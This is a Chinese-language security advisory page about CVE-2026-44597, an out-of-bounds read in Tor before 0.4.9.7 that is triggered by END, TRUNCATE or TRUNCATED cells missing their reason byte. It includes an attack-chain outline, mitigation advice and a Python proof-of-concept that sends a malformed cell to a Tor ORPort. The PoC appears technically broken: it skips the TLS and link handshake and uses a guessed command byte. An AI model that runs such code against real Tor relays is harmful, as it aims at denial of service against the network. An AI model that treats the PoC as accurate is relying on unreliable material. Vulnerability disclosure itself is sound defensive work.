IPBUF安全漏洞报告
English
CVE-2026-44597 CVSS 3.7 低危

CVE-2026-44597 Tor越界读取漏洞

披露日期: 2026-05-07

漏洞信息

漏洞编号
CVE-2026-44597
漏洞类型
越界读取
CVSS评分
3.7 低危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Tor

相关标签

Tor越界读取拒绝服务CVE-2026-44597TROVE-2026-011网络漏洞

漏洞概述

Tor项目在0.4.9.7版本之前存在一个安全漏洞,编号为CVE-2026-44597,也被称为TROVE-2026-011。该漏洞是一个越界读取问题,主要影响Tor网络的稳定性。当Tor进程处理特定类型的网络控制单元格时,如果收到END、TRUNCATE或TRUNCATED单元格,且其有效载荷中缺少必需的原因字段,软件会读取缓冲区边界之外的内容。尽管该漏洞被标记为低危(CVSS 3.7),且主要影响可用性,但在未经身份验证的情况下,攻击者可以通过网络向量触发该漏洞,导致Tor服务崩溃或异常。

技术细节

该漏洞的根源在于Tor协议解析代码中对特定单元格长度的验证不足。在Tor通信协议中,END、TRUNCATE和TRUNCATED单元格用于电路的终止和截断操作,按照协议规范,这些单元格在特定场景下必须携带一个“原因”字节以指示操作的具体原因。然而,在受影响的Tor版本(0.4.9.7之前)中,解析器在处理这些单元格时,未充分检查载荷长度是否满足包含原因字段的最低要求。当攻击者向目标Tor节点发送一个精心构造的、载荷长度不足的恶意单元格时,解析器在尝试访问该缺失的原因字段时会执行越界内存读取。虽然越界读取通常导致进程崩溃(拒绝服务),但在特定的内存布局下,也存在泄露敏感内存信息的微小风险。由于CVSS向量为AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L,攻击复杂度较高,且无机密性和完整性影响,主要风险在于服务可用性降低。

攻击链分析

STEP 1
侦察
攻击者扫描网络以识别暴露的Tor节点及其ORPort端口。
STEP 2
漏洞利用
攻击者向目标Tor节点发送特制的网络数据包,包含END、TRUNCATE或TRUNCATED类型的单元格,且故意省略载荷中的原因字段。
STEP 3
触发越界读取
Tor进程在解析该恶意单元格时,由于缺少长度检查,尝试读取缓冲区之外的内存位置。
STEP 4
影响
导致Tor进程崩溃或产生未定义行为,造成拒绝服务,影响Tor网络的可用性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket import struct # PoC for CVE-2026-44597: Tor Out-of-Bounds Read # This script demonstrates sending a malformed cell to trigger the vulnerability. def send_malformed_cell(target_ip, target_port): """ Sends a crafted cell to the target Tor instance. The cell is of type END/TRUNCATE/TRUNCATED but lacks the 'reason' payload. """ try: # Establish TCP connection to Tor ORPort sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) print(f"[*] Connected to {target_ip}:{target_port}") # Tor Cell Header Structure (Version 3/4): # Circuit ID (4 bytes) + Command (1 byte) # Vulnerable commands include END, TRUNCATE, TRUNCATED. # Assuming a control cell structure for demonstration. circuit_id = 0x12345678 # Arbitrary Circuit ID command = 5 # Example command byte (e.g., RELAY_END or similar control command) # Construct header: CircID (4 bytes, big endian) + Command (1 byte) header = struct.pack("!IB", circuit_id, command) # The vulnerability occurs when the payload is empty/short # but the parser expects a 'reason' byte. payload = b'' # Missing reason field to trigger OOB read full_packet = header + payload sock.send(full_packet) print("[*] Malformed cell sent.") sock.close() except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Replace with actual target details for testing TARGET_IP = "127.0.0.1" TARGET_PORT = 9001 send_malformed_cell(TARGET_IP, TARGET_PORT)

影响范围

Tor < 0.4.9.7

防御指南

临时缓解措施
建议管理员尽快检查并更新Tor服务版本。如果无法立即升级,应严格限制访问Tor节点的源IP地址,仅允许可信的对等节点连接,以降低被恶意利用的风险。同时,应部署监控机制以检测Tor进程的异常崩溃。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表